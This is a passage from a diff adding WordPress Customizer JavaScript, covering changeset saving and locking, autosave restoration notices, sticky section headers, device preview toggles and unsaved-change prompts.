+			 * Builds the front preview url with the current state of customizer.
+			 *
+			 * @since 4.9
+			 *
+			 * @return {string} Preview url.
+			 */
+			getFrontendPreviewUrl: function() {
+				var previewer = this, params, urlParser;
+				urlParser = document.createElement( 'a' );
+				urlParser.href = previewer.previewUrl.get();
+				params = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
+
+				if ( api.state( 'changesetStatus' ).get() && 'publish' !== api.state( 'changesetStatus' ).get() ) {
+					params.customize_changeset_uuid = api.settings.changeset.uuid;
+				}
+				if ( ! api.state( 'activated' ).get() ) {
+					params.customize_theme = api.settings.theme.stylesheet;
+				}
+
+				urlParser.search = $.param( params );
+				return urlParser.href;
+			}
+		});
+
+		// Ensure preview nonce is included with every customized request, to allow post data to be read.
+		$.ajaxPrefilter( function injectPreviewNonce( options ) {
+			if ( ! /wp_customize=on/.test( options.data ) ) {
+				return;
+			}
+			options.data += '&' + $.param({
+				customize_preview_nonce: api.settings.nonce.preview
+			});
+		});
+
+		// Refresh the nonces if the preview sends updated nonces over.
+		api.previewer.bind( 'nonce', function( nonce ) {
+			$.extend( this.nonce, nonce );
+		});
+
+		// Refresh the nonces if login sends updated nonces over.
+		api.bind( 'nonce-refresh', function( nonce ) {
+			$.extend( api.settings.nonce, nonce );
+			$.extend( api.previewer.nonce, nonce );
+			api.previewer.send( 'nonce-refresh', nonce );
+		});
+
+		// Create Settings
+		$.each( api.settings.settings, function( id, data ) {
+			var Constructor = api.settingConstructor[ data.type ] || api.Setting;
+			api.add( new Constructor( id, data.value, {
+				transport: data.transport,
+				previewer: api.previewer,
+				dirty: !! data.dirty
+			} ) );
+		});
+
+		// Create Panels
+		$.each( api.settings.panels, function ( id, data ) {
+			var Constructor = api.panelConstructor[ data.type ] || api.Panel, options;
+			options = _.extend( { params: data }, data ); // Inclusion of params alias is for back-compat for custom panels that expect to augment this property.
+			api.panel.add( new Constructor( id, options ) );
+		});
+
+		// Create Sections
+		$.each( api.settings.sections, function ( id, data ) {
+			var Constructor = api.sectionConstructor[ data.type ] || api.Section, options;
+			options = _.extend( { params: data }, data ); // Inclusion of params alias is for back-compat for custom sections that expect to augment this property.
+			api.section.add( new Constructor( id, options ) );
+		});
+
+		// Create Controls
+		$.each( api.settings.controls, function( id, data ) {
+			var Constructor = api.controlConstructor[ data.type ] || api.Control, options;
+			options = _.extend( { params: data }, data ); // Inclusion of params alias is for back-compat for custom controls that expect to augment this property.
+			api.control.add( new Constructor( id, options ) );
+		});
+
+		// Focus the autofocused element
+		_.each( [ 'panel', 'section', 'control' ], function( type ) {
+			var id = api.settings.autofocus[ type ];
+			if ( ! id ) {
+				return;
+			}
+
+			/*
+			 * Defer focus until:
+			 * 1. The panel, section, or control exists (especially for dynamically-created ones).
+			 * 2. The instance is embedded in the document (and so is focusable).
+			 * 3. The preview has finished loading so that the active states have been set.
+			 */
+			api[ type ]( id, function( instance ) {
+				instance.deferred.embedded.done( function() {
+					api.previewer.deferred.active.done( function() {
+						instance.focus();
+					});
+				});
+			});
+		});
+
+		api.bind( 'ready', api.reflowPaneContents );
+		$( [ api.panel, api.section, api.control ] ).each( function ( i, values ) {
+			var debouncedReflowPaneContents = _.debounce( api.reflowPaneContents, api.settings.timeouts.reflowPaneContents );
+			values.bind( 'add', debouncedReflowPaneContents );
+			values.bind( 'change', debouncedReflowPaneContents );
+			values.bind( 'remove', debouncedReflowPaneContents );
+		} );
+
+		// Set up global notifications area.
+		api.bind( 'ready', function setUpGlobalNotificationsArea() {
+			var sidebar, containerHeight, containerInitialTop;
+			api.notifications.container = $( '#customize-notifications-area' );
+
+			api.notifications.bind( 'change', _.debounce( function() {
+				api.notifications.render();
+			} ) );
+
+			sidebar = $( '.wp-full-overlay-sidebar-content' );
+			api.notifications.bind( 'rendered', function updateSidebarTop() {
+				sidebar.css( 'top', '' );
+				if ( 0 !== api.notifications.count() ) {
+					containerHeight = api.notifications.container.outerHeight() + 1;
+					containerInitialTop = parseInt( sidebar.css( 'top' ), 10 );
+					sidebar.css( 'top', containerInitialTop + containerHeight + 'px' );
+				}
+				api.notifications.trigger( 'sidebarTopUpdated' );
+			});
+
+			api.notifications.render();
+		});
+
+		// Save and activated states
+		(function( state ) {
+			var saved = state.instance( 'saved' ),
+				saving = state.instance( 'saving' ),
+				trashing = state.instance( 'trashing' ),
+				activated = state.instance( 'activated' ),
+				processing = state.instance( 'processing' ),
+				paneVisible = state.instance( 'paneVisible' ),
+				expandedPanel = state.instance( 'expandedPanel' ),
+				expandedSection = state.instance( 'expandedSection' ),
+				changesetStatus = state.instance( 'changesetStatus' ),
+				selectedChangesetStatus = state.instance( 'selectedChangesetStatus' ),
+				changesetDate = state.instance( 'changesetDate' ),
+				selectedChangesetDate = state.instance( 'selectedChangesetDate' ),
+				previewerAlive = state.instance( 'previewerAlive' ),
+				editShortcutVisibility  = state.instance( 'editShortcutVisibility' ),
+				changesetLocked = state.instance( 'changesetLocked' ),
+				populateChangesetUuidParam, defaultSelectedChangesetStatus;
+
+			state.bind( 'change', function() {
+				var canSave;
+
+				if ( ! activated() ) {
+					saveBtn.val( api.l10n.activate );
+					closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );
+
+				} else if ( '' === changesetStatus.get() && saved() ) {
+					if ( api.settings.changeset.currentUserCanPublish ) {
+						saveBtn.val( api.l10n.published );
+					} else {
+						saveBtn.val( api.l10n.saved );
+					}
+					closeBtn.find( '.screen-reader-text' ).text( api.l10n.close );
+
+				} else {
+					if ( 'draft' === selectedChangesetStatus() ) {
+						if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
+							saveBtn.val( api.l10n.draftSaved );
+						} else {
+							saveBtn.val( api.l10n.saveDraft );
+						}
+					} else if ( 'future' === selectedChangesetStatus() ) {
+						if ( saved() && selectedChangesetStatus() === changesetStatus() ) {
+							if ( changesetDate.get() !== selectedChangesetDate.get() ) {
+								saveBtn.val( api.l10n.schedule );
+							} else {
+								saveBtn.val( api.l10n.scheduled );
+							}
+						} else {
+							saveBtn.val( api.l10n.schedule );
+						}
+					} else if ( api.settings.changeset.currentUserCanPublish ) {
+						saveBtn.val( api.l10n.publish );
+					}
+					closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );
+				}
+
+				/*
+				 * Save (publish) button should be enabled if saving is not currently happening,
+				 * and if the theme is not active or the changeset exists but is not published.
+				 */
+				canSave = ! saving() && ! trashing() && ! changesetLocked() && ( ! activated() || ! saved() || ( changesetStatus() !== selectedChangesetStatus() && '' !== changesetStatus() ) || ( 'future' === selectedChangesetStatus() && changesetDate.get() !== selectedChangesetDate.get() ) );
+
+				saveBtn.prop( 'disabled', ! canSave );
+			});
+
+			selectedChangesetStatus.validate = function( status ) {
+				if ( '' === status || 'auto-draft' === status ) {
+					return null;
+				}
+				return status;
+			};
+
+			defaultSelectedChangesetStatus = api.settings.changeset.currentUserCanPublish ? 'publish' : 'draft';
+
+			// Set default states.
+			changesetStatus( api.settings.changeset.status );
+			changesetLocked( Boolean( api.settings.changeset.lockUser ) );
+			changesetDate( api.settings.changeset.publishDate );
+			selectedChangesetDate( api.settings.changeset.publishDate );
+			selectedChangesetStatus( '' === api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ? defaultSelectedChangesetStatus : api.settings.changeset.status );
+			selectedChangesetStatus.link( changesetStatus ); // Ensure that direct updates to status on server via wp.customizer.previewer.save() will update selection.
+			saved( true );
+			if ( '' === changesetStatus() ) { // Handle case for loading starter content.
+				api.each( function( setting ) {
+					if ( setting._dirty ) {
+						saved( false );
+					}
+				} );
+			}
+			saving( false );
+			activated( api.settings.theme.active );
+			processing( 0 );
+			paneVisible( true );
+			expandedPanel( false );
+			expandedSection( false );
+			previewerAlive( true );
+			editShortcutVisibility( 'visible' );
+
+			api.bind( 'change', function() {
+				if ( state( 'saved' ).get() ) {
+					state( 'saved' ).set( false );
+				}
+			});
+
+			// Populate changeset UUID param when state becomes dirty.
+			if ( api.settings.changeset.branching ) {
+				saved.bind( function( isSaved ) {
+					if ( ! isSaved ) {
+						populateChangesetUuidParam( true );
+					}
+				});
+			}
+
+			saving.bind( function( isSaving ) {
+				body.toggleClass( 'saving', isSaving );
+			} );
+			trashing.bind( function( isTrashing ) {
+				body.toggleClass( 'trashing', isTrashing );
+			} );
+
+			api.bind( 'saved', function( response ) {
+				state('saved').set( true );
+				if ( 'publish' === response.changeset_status ) {
+					state( 'activated' ).set( true );
+				}
+			});
+
+			activated.bind( function( to ) {
+				if ( to ) {
+					api.trigger( 'activated' );
+				}
+			});
+
+			/**
+			 * Populate URL with UUID via `history.replaceState()`.
+			 *
+			 * @since 4.7.0
+			 * @access private
+			 *
+			 * @param {boolean} isIncluded Is UUID included.
+			 * @returns {void}
+			 */
+			populateChangesetUuidParam = function( isIncluded ) {
+				var urlParser, queryParams;
+
+				// Abort on IE9 which doesn't support history management.
+				if ( ! history.replaceState ) {
+					return;
+				}
+
+				urlParser = document.createElement( 'a' );
+				urlParser.href = location.href;
+				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
+				if ( isIncluded ) {
+					if ( queryParams.changeset_uuid === api.settings.changeset.uuid ) {
+						return;
+					}
+					queryParams.changeset_uuid = api.settings.changeset.uuid;
+				} else {
+					if ( ! queryParams.changeset_uuid ) {
+						return;
+					}
+					delete queryParams.changeset_uuid;
+				}
+				urlParser.search = $.param( queryParams );
+				history.replaceState( {}, document.title, urlParser.href );
+			};
+
+			// Show changeset UUID in URL when in branching mode and there is a saved changeset.
+			if ( api.settings.changeset.branching ) {
+				changesetStatus.bind( function( newStatus ) {
+					populateChangesetUuidParam( '' !== newStatus && 'publish' !== newStatus && 'trash' !== newStatus );
+				} );
+			}
+		}( api.state ) );
+
+		/**
+		 * Handles lock notice and take over request.
+		 *
+		 * @since 4.9.0
+		 */
+		( function checkAndDisplayLockNotice() {
+
+			/**
+			 * A notification that is displayed in a full-screen overlay with information about the locked changeset.
+			 *
+			 * @since 4.9.0
+			 * @class
+			 * @augments wp.customize.Notification
+			 * @augments wp.customize.OverlayNotification
+			 */
+			var LockedNotification = api.OverlayNotification.extend({
+
+				/**
+				 * Template ID.
+				 *
+				 * @type {string}
+				 */
+				templateId: 'customize-changeset-locked-notification',
+
+				/**
+				 * Lock user.
+				 *
+				 * @type {object}
+				 */
+				lockUser: null,
+
+				/**
+				 * Initialize.
+				 *
+				 * @since 4.9.0
+				 *
+				 * @param {string} [code] - Code.
+				 * @param {object} [params] - Params.
+				 */
+				initialize: function( code, params ) {
+					var notification = this, _code, _params;
+					_code = code || 'changeset_locked';
+					_params = _.extend(
+						{
+							type: 'warning',
+							containerClasses: '',
+							lockUser: {}
+						},
+						params
+					);
+					_params.containerClasses += ' notification-changeset-locked';
+					api.OverlayNotification.prototype.initialize.call( notification, _code, _params );
+				},
+
+				/**
+				 * Render notification.
+				 *
+				 * @since 4.9.0
+				 *
+				 * @return {jQuery} Notification container.
+				 */
+				render: function() {
+					var notification = this, li, data, takeOverButton, request;
+					data = _.extend(
+						{
+							allowOverride: false,
+							returnUrl: api.settings.url['return'],
+							previewUrl: api.previewer.previewUrl.get(),
+							frontendPreviewUrl: api.previewer.getFrontendPreviewUrl()
+						},
+						this
+					);
+
+					li = api.OverlayNotification.prototype.render.call( data );
+
+					// Try to autosave the changeset now.
+					api.requestChangesetUpdate( {}, { autosave: true } ).fail( function( response ) {
+						if ( ! response.autosaved ) {
+							li.find( '.notice-error' ).prop( 'hidden', false ).text( response.message || api.l10n.unknownRequestFail );
+						}
+					} );
+
+					takeOverButton = li.find( '.customize-notice-take-over-button' );
+					takeOverButton.on( 'click', function( event ) {
+						event.preventDefault();
+						if ( request ) {
+							return;
+						}
+
+						takeOverButton.addClass( 'disabled' );
+						request = wp.ajax.post( 'customize_override_changeset_lock', {
+							wp_customize: 'on',
+							customize_theme: api.settings.theme.stylesheet,
+							customize_changeset_uuid: api.settings.changeset.uuid,
+							nonce: api.settings.nonce.override_lock
+						} );
+
+						request.done( function() {
+							api.notifications.remove( notification.code ); // Remove self.
+							api.state( 'changesetLocked' ).set( false );
+						} );
+
+						request.fail( function( response ) {
+							var message = response.message || api.l10n.unknownRequestFail;
+							li.find( '.notice-error' ).prop( 'hidden', false ).text( message );
+
+							request.always( function() {
+								takeOverButton.removeClass( 'disabled' );
+							} );
+						} );
+
+						request.always( function() {
+							request = null;
+						} );
+					} );
+
+					return li;
+				}
+			});
+
+			/**
+			 * Start lock.
+			 *
+			 * @since 4.9.0
+			 *
+			 * @param {object} [args] - Args.
+			 * @param {object} [args.lockUser] - Lock user data.
+			 * @param {boolean} [args.allowOverride=false] - Whether override is allowed.
+			 * @returns {void}
+			 */
+			function startLock( args ) {
+				if ( args && args.lockUser ) {
+					api.settings.changeset.lockUser = args.lockUser;
+				}
+				api.state( 'changesetLocked' ).set( true );
+				api.notifications.add( new LockedNotification( 'changeset_locked', {
+					lockUser: api.settings.changeset.lockUser,
+					allowOverride: Boolean( args && args.allowOverride )
+				} ) );
+			}
+
+			// Show initial notification.
+			if ( api.settings.changeset.lockUser ) {
+				startLock( { allowOverride: true } );
+			}
+
+			// Check for lock when sending heartbeat requests.
+			$( document ).on( 'heartbeat-send.update_lock_notice', function( event, data ) {
+				data.check_changeset_lock = true;
+				data.changeset_uuid = api.settings.changeset.uuid;
+			} );
+
+			// Handle heartbeat ticks.
+			$( document ).on( 'heartbeat-tick.update_lock_notice', function( event, data ) {
+				var notification, code = 'changeset_locked';
+				if ( ! data.customize_changeset_lock_user ) {
+					return;
+				}
+
+				// Update notification when a different user takes over.
+				notification = api.notifications( code );
+				if ( notification && notification.lockUser.id !== api.settings.changeset.lockUser.id ) {
+					api.notifications.remove( code );
+				}
+
+				startLock( {
+					lockUser: data.customize_changeset_lock_user
+				} );
+			} );
+
+			// Handle locking in response to changeset save errors.
+			api.bind( 'error', function( response ) {
+				if ( 'changeset_locked' === response.code && response.lock_user ) {
+					startLock( {
+						lockUser: response.lock_user
+					} );
+				}
+			} );
+		} )();
+
+		// Set up initial notifications.
+		(function() {
+			var removedQueryParams = [], autosaveDismissed = false;
+
+			/**
+			 * Obtain the URL to restore the autosave.
+			 *
+			 * @returns {string} Customizer URL.
+			 */
+			function getAutosaveRestorationUrl() {
+				var urlParser, queryParams;
+				urlParser = document.createElement( 'a' );
+				urlParser.href = location.href;
+				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
+				if ( api.settings.changeset.latestAutoDraftUuid ) {
+					queryParams.changeset_uuid = api.settings.changeset.latestAutoDraftUuid;
+				} else {
+					queryParams.customize_autosaved = 'on';
+				}
+				queryParams['return'] = api.settings.url['return'];
+				urlParser.search = $.param( queryParams );
+				return urlParser.href;
+			}
+
+			/**
+			 * Remove parameter from the URL.
+			 *
+			 * @param {Array} params - Parameter names to remove.
+			 * @returns {void}
+			 */
+			function stripParamsFromLocation( params ) {
+				var urlParser = document.createElement( 'a' ), queryParams, strippedParams = 0;
+				urlParser.href = location.href;
+				queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
+				_.each( params, function( param ) {
+					if ( 'undefined' !== typeof queryParams[ param ] ) {
+						strippedParams += 1;
+						delete queryParams[ param ];
+					}
+				} );
+				if ( 0 === strippedParams ) {
+					return;
+				}
+
+				urlParser.search = $.param( queryParams );
+				history.replaceState( {}, document.title, urlParser.href );
+			}
+
+			/**
+			 * Dismiss autosave.
+			 *
+			 * @returns {void}
+			 */
+			function dismissAutosave() {
+				if ( autosaveDismissed ) {
+					return;
+				}
+				wp.ajax.post( 'customize_dismiss_autosave_or_lock', {
+					wp_customize: 'on',
+					customize_theme: api.settings.theme.stylesheet,
+					customize_changeset_uuid: api.settings.changeset.uuid,
+					nonce: api.settings.nonce.dismiss_autosave_or_lock,
+					dismiss_autosave: true
+				} );
+				autosaveDismissed = true;
+			}
+
+			/**
+			 * Add notification regarding the availability of an autosave to restore.
+			 *
+			 * @returns {void}
+			 */
+			function addAutosaveRestoreNotification() {
+				var code = 'autosave_available', onStateChange;
+
+				// Since there is an autosave revision and the user hasn't loaded with autosaved, add notification to prompt to load autosaved version.
+				api.notifications.add( new api.Notification( code, {
+					message: api.l10n.autosaveNotice,
+					type: 'warning',
+					dismissible: true,
+					render: function() {
+						var li = api.Notification.prototype.render.call( this ), link;
+
+						// Handle clicking on restoration link.
+						link = li.find( 'a' );
+						link.prop( 'href', getAutosaveRestorationUrl() );
+						link.on( 'click', function( event ) {
+							event.preventDefault();
+							location.replace( getAutosaveRestorationUrl() );
+						} );
+
+						// Handle dismissal of notice.
+						li.find( '.notice-dismiss' ).on( 'click', dismissAutosave );
+
+						return li;
+					}
+				} ) );
+
+				// Remove the notification once the user starts making changes.
+				onStateChange = function() {
+					dismissAutosave();
+					api.notifications.remove( code );
+					api.unbind( 'change', onStateChange );
+					api.state( 'changesetStatus' ).unbind( onStateChange );
+				};
+				api.bind( 'change', onStateChange );
+				api.state( 'changesetStatus' ).bind( onStateChange );
+			}
+
+			if ( api.settings.changeset.autosaved ) {
+				api.state( 'saved' ).set( false );
+				removedQueryParams.push( 'customize_autosaved' );
+			}
+			if ( ! api.settings.changeset.branching && ( ! api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ) ) {
+				removedQueryParams.push( 'changeset_uuid' ); // Remove UUID when restoring autosave auto-draft.
+			}
+			if ( removedQueryParams.length > 0 ) {
+				stripParamsFromLocation( removedQueryParams );
+			}
+			if ( api.settings.changeset.latestAutoDraftUuid || api.settings.changeset.hasAutosaveRevision ) {
+				addAutosaveRestoreNotification();
+			}
+		})();
+
+		// Check if preview url is valid and load the preview frame.
+		if ( api.previewer.previewUrl() ) {
+			api.previewer.refresh();
+		} else {
+			api.previewer.previewUrl( api.settings.url.home );
+		}
+
+		// Button bindings.
+		saveBtn.click( function( event ) {
+			api.previewer.save();
+			event.preventDefault();
+		}).keydown( function( event ) {
+			if ( 9 === event.which ) { // Tab.
+				return;
+			}
+			if ( 13 === event.which ) { // Enter.
+				api.previewer.save();
+			}
+			event.preventDefault();
+		});
+
+		closeBtn.keydown( function( event ) {
+			if ( 9 === event.which ) { // Tab.
+				return;
+			}
+			if ( 13 === event.which ) { // Enter.
+				this.click();
+			}
+			event.preventDefault();
+		});
+
+		$( '.collapse-sidebar' ).on( 'click', function() {
+			api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
+		});
+
+		api.state( 'paneVisible' ).bind( function( paneVisible ) {
+			overlay.toggleClass( 'preview-only', ! paneVisible );
+			overlay.toggleClass( 'expanded', paneVisible );
+			overlay.toggleClass( 'collapsed', ! paneVisible );
+
+			if ( ! paneVisible ) {
+				$( '.collapse-sidebar' ).attr({ 'aria-expanded': 'false', 'aria-label': api.l10n.expandSidebar });
+			} else {
+				$( '.collapse-sidebar' ).attr({ 'aria-expanded': 'true', 'aria-label': api.l10n.collapseSidebar });
+			}
+		});
+
+		// Keyboard shortcuts - esc to exit section/panel.
+		body.on( 'keydown', function( event ) {
+			var collapsedObject, expandedControls = [], expandedSections = [], expandedPanels = [];
+
+			if ( 27 !== event.which ) { // Esc.
+				return;
+			}
+
+			/*
+			 * Abort if the event target is not the body (the default) and not inside of #customize-controls.
+			 * This ensures that ESC meant to collapse a modal dialog or a TinyMCE toolbar won't collapse something else.
+			 */
+			if ( ! $( event.target ).is( 'body' ) && ! $.contains( $( '#customize-controls' )[0], event.target ) ) {
+				return;
+			}
+
+			// Check for expanded expandable controls (e.g. widgets and nav menus items), sections, and panels.
+			api.control.each( function( control ) {
+				if ( control.expanded && control.expanded() && _.isFunction( control.collapse ) ) {
+					expandedControls.push( control );
+				}
+			});
+			api.section.each( function( section ) {
+				if ( section.expanded() ) {
+					expandedSections.push( section );
+				}
+			});
+			api.panel.each( function( panel ) {
+				if ( panel.expanded() ) {
+					expandedPanels.push( panel );
+				}
+			});
+
+			// Skip collapsing expanded controls if there are no expanded sections.
+			if ( expandedControls.length > 0 && 0 === expandedSections.length ) {
+				expandedControls.length = 0;
+			}
+
+			// Collapse the most granular expanded object.
+			collapsedObject = expandedControls[0] || expandedSections[0] || expandedPanels[0];
+			if ( collapsedObject ) {
+				if ( 'themes' === collapsedObject.params.type ) {
+
+					// Themes panel or section.
+					if ( body.hasClass( 'modal-open' ) ) {
+						collapsedObject.closeDetails();
+					} else if ( api.panel.has( 'themes' ) ) {
+
+						// If we're collapsing a section, collapse the panel also.
+						api.panel( 'themes' ).collapse();
+					}
+					return;
+				}
+				collapsedObject.collapse();
+				event.preventDefault();
+			}
+		});
+
+		$( '.customize-controls-preview-toggle' ).on( 'click', function() {
+			api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
+		});
+
+		/*
+		 * Sticky header feature.
+		 */
+		(function initStickyHeaders() {
+			var parentContainer = $( '.wp-full-overlay-sidebar-content' ),
+				changeContainer, updateHeaderHeight, releaseStickyHeader, resetStickyHeader, positionStickyHeader,
+				activeHeader, lastScrollTop;
+
+			/**
+			 * Determine which panel or section is currently expanded.
+			 *
+			 * @since 4.7.0
+			 * @access private
+			 *
+			 * @param {wp.customize.Panel|wp.customize.Section} container Construct.
+			 * @returns {void}
+			 */
+			changeContainer = function( container ) {
+				var newInstance = container,
+					expandedSection = api.state( 'expandedSection' ).get(),
+					expandedPanel = api.state( 'expandedPanel' ).get(),
+					headerElement;
+
+				if ( activeHeader && activeHeader.element ) {
+					// Release previously active header element.
+					releaseStickyHeader( activeHeader.element );
+
+					// Remove event listener in the previous panel or section.
+					activeHeader.element.find( '.description' ).off( 'toggled', updateHeaderHeight );
+				}
+
+				if ( ! newInstance ) {
+					if ( ! expandedSection && expandedPanel && expandedPanel.contentContainer ) {
+						newInstance = expandedPanel;
+					} else if ( ! expandedPanel && expandedSection && expandedSection.contentContainer ) {
+						newInstance = expandedSection;
+					} else {
+						activeHeader = false;
+						return;
+					}
+				}
+
+				headerElement = newInstance.contentContainer.find( '.customize-section-title, .panel-meta' ).first();
+				if ( headerElement.length ) {
+					activeHeader = {
+						instance: newInstance,
+						element:  headerElement,
+						parent:   headerElement.closest( '.customize-pane-child' ),
+						height:   headerElement.outerHeight()
+					};
+
+					// Update header height whenever help text is expanded or collapsed.
+					activeHeader.element.find( '.description' ).on( 'toggled', updateHeaderHeight );
+
+					if ( expandedSection ) {
+						resetStickyHeader( activeHeader.element, activeHeader.parent );
+					}
+				} else {
+					activeHeader = false;
+				}
+			};
+			api.state( 'expandedSection' ).bind( changeContainer );
+			api.state( 'expandedPanel' ).bind( changeContainer );
+
+			// Throttled scroll event handler.
+			parentContainer.on( 'scroll', _.throttle( function() {
+				if ( ! activeHeader ) {
+					return;
+				}
+
+				var scrollTop = parentContainer.scrollTop(),
+					scrollDirection;
+
+				if ( ! lastScrollTop ) {
+					scrollDirection = 1;
+				} else {
+					if ( scrollTop === lastScrollTop ) {
+						scrollDirection = 0;
+					} else if ( scrollTop > lastScrollTop ) {
+						scrollDirection = 1;
+					} else {
+						scrollDirection = -1;
+					}
+				}
+				lastScrollTop = scrollTop;
+				if ( 0 !== scrollDirection ) {
+					positionStickyHeader( activeHeader, scrollTop, scrollDirection );
+				}
+			}, 8 ) );
+
+			// Update header position on sidebar layout change.
+			api.notifications.bind( 'sidebarTopUpdated', function() {
+				if ( activeHeader && activeHeader.element.hasClass( 'is-sticky' ) ) {
+					activeHeader.element.css( 'top', parentContainer.css( 'top' ) );
+				}
+			});
+
+			// Release header element if it is sticky.
+			releaseStickyHeader = function( headerElement ) {
+				if ( ! headerElement.hasClass( 'is-sticky' ) ) {
+					return;
+				}
+				headerElement
+					.removeClass( 'is-sticky' )
+					.addClass( 'maybe-sticky is-in-view' )
+					.css( 'top', parentContainer.scrollTop() + 'px' );
+			};
+
+			// Reset position of the sticky header.
+			resetStickyHeader = function( headerElement, headerParent ) {
+				if ( headerElement.hasClass( 'is-in-view' ) ) {
+					headerElement
+						.removeClass( 'maybe-sticky is-in-view' )
+						.css( {
+							width: '',
+							top:   ''
+						} );
+					headerParent.css( 'padding-top', '' );
+				}
+			};
+
+			/**
+			 * Update active header height.
+			 *
+			 * @since 4.7.0
+			 * @access private
+			 *
+			 * @returns {void}
+			 */
+			updateHeaderHeight = function() {
+				activeHeader.height = activeHeader.element.outerHeight();
+			};
+
+			/**
+			 * Reposition header on throttled `scroll` event.
+			 *
+			 * @since 4.7.0
+			 * @access private
+			 *
+			 * @param {object} header - Header.
+			 * @param {number} scrollTop - Scroll top.
+			 * @param {number} scrollDirection - Scroll direction, negative number being up and positive being down.
+			 * @returns {void}
+			 */
+			positionStickyHeader = function( header, scrollTop, scrollDirection ) {
+				var headerElement = header.element,
+					headerParent = header.parent,
+					headerHeight = header.height,
+					headerTop = parseInt( headerElement.css( 'top' ), 10 ),
+					maybeSticky = headerElement.hasClass( 'maybe-sticky' ),
+					isSticky = headerElement.hasClass( 'is-sticky' ),
+					isInView = headerElement.hasClass( 'is-in-view' ),
+					isScrollingUp = ( -1 === scrollDirection );
+
+				// When scrolling down, gradually hide sticky header.
+				if ( ! isScrollingUp ) {
+					if ( isSticky ) {
+						headerTop = scrollTop;
+						headerElement
+							.removeClass( 'is-sticky' )
+							.css( {
+								top:   headerTop + 'px',
+								width: ''
+							} );
+					}
+					if ( isInView && scrollTop > headerTop + headerHeight ) {
+						headerElement.removeClass( 'is-in-view' );
+						headerParent.css( 'padding-top', '' );
+					}
+					return;
+				}
+
+				// Scrolling up.
+				if ( ! maybeSticky && scrollTop >= headerHeight ) {
+					maybeSticky = true;
+					headerElement.addClass( 'maybe-sticky' );
+				} else if ( 0 === scrollTop ) {
+					// Reset header in base position.
+					headerElement
+						.removeClass( 'maybe-sticky is-in-view is-sticky' )
+						.css( {
+							top:   '',
+							width: ''
+						} );
+					headerParent.css( 'padding-top', '' );
+					return;
+				}
+
+				if ( isInView && ! isSticky ) {
+					// Header is in the view but is not yet sticky.
+					if ( headerTop >= scrollTop ) {
+						// Header is fully visible.
+						headerElement
+							.addClass( 'is-sticky' )
+							.css( {
+								top:   parentContainer.css( 'top' ),
+								width: headerParent.outerWidth() + 'px'
+							} );
+					}
+				} else if ( maybeSticky && ! isInView ) {
+					// Header is out of the view.
+					headerElement
+						.addClass( 'is-in-view' )
+						.css( 'top', ( scrollTop - headerHeight ) + 'px' );
+					headerParent.css( 'padding-top', headerHeight + 'px' );
+				}
+			};
+		}());
+
+		// Previewed device bindings. (The api.previewedDevice property is how this Value was first introduced, but since it has moved to api.state.)
+		api.previewedDevice = api.state( 'previewedDevice' );
+
+		// Set the default device.
+		api.bind( 'ready', function() {
+			_.find( api.settings.previewableDevices, function( value, key ) {
+				if ( true === value['default'] ) {
+					api.previewedDevice.set( key );
+					return true;
+				}
+			} );
+		} );
+
+		// Set the toggled device.
+		footerActions.find( '.devices button' ).on( 'click', function( event ) {
+			api.previewedDevice.set( $( event.currentTarget ).data( 'device' ) );
+		});
+
+		// Bind device changes.
+		api.previewedDevice.bind( function( newDevice ) {
+			var overlay = $( '.wp-full-overlay' ),
+				devices = '';
+
+			footerActions.find( '.devices button' )
+				.removeClass( 'active' )
+				.attr( 'aria-pressed', false );
+
+			footerActions.find( '.devices .preview-' + newDevice )
+				.addClass( 'active' )
+				.attr( 'aria-pressed', true );
+
+			$.each( api.settings.previewableDevices, function( device ) {
+				devices += ' preview-' + device;
+			} );
+
+			overlay
+				.removeClass( devices )
+				.addClass( 'preview-' + newDevice );
+		} );
+
+		// Bind site title display to the corresponding field.
+		if ( title.length ) {
+			api( 'blogname', function( setting ) {
+				var updateTitle = function() {
+					title.text( $.trim( setting() ) || api.l10n.untitledBlogName );
+				};
+				setting.bind( updateTitle );
+				updateTitle();
+			} );
+		}
+
+		/*
+		 * Create a postMessage connection with a parent frame,
+		 * in case the Customizer frame was opened with the Customize loader.
+		 *
+		 * @see wp.customize.Loader
+		 */
+		parent = new api.Messenger({
+			url: api.settings.url.parent,
+			channel: 'loader'
+		});
+
+		// Handle exiting of Customizer.
+		(function() {
+			var isInsideIframe = false;
+
+			function isCleanState() {
+				var defaultChangesetStatus;
+
+				/*
+				 * Handle special case of previewing theme switch since some settings (for nav menus and widgets)
+				 * are pre-dirty and non-active themes can only ever be auto-drafts.
+				 */
+				if ( ! api.state( 'activated' ).get() ) {
+					return 0 === api._latestRevision;
+				}
+
+				// Dirty if the changeset status has been changed but not saved yet.
+				defaultChangesetStatus = api.state( 'changesetStatus' ).get();
+				if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
+					defaultChangesetStatus = 'publish';
+				}
+				if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
+					return false;
+				}
+
+				// Dirty if scheduled but the changeset date hasn't been saved yet.
+				if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
+					return false;
+				}
+
+				return api.state( 'saved' ).get() && 'auto-draft' !== api.state( 'changesetStatus' ).get();
+			}
+
+			/*
+			 * If we receive a 'back' event, we're inside an iframe.
+			 * Send any clicks to the 'Return' link to the parent page.
+			 */
+			parent.bind( 'back', function() {
+				isInsideIframe = true;
+			});
+
+			function startPromptingBeforeUnload() {
+				api.unbind( 'change', startPromptingBeforeUnload );
+				api.state( 'selectedChangesetStatus' ).unbind( startPromptingBeforeUnload );
+				api.state( 'selectedChangesetDate' ).unbind( startPromptingBeforeUnload );
+
+				// Prompt user with AYS dialog if leaving the Customizer with unsaved changes
+				$( window ).on( 'beforeunload.customize-confirm', function() {
+					if ( ! isCleanState() && ! api.state( 'changesetLocked' ).get() ) {
+						setTimeout( function() {
+							overlay.removeClass( 'customize-loading' );
+						}, 1 );
+						return api.l10n.saveAlert;
+					}
+				});
+			}
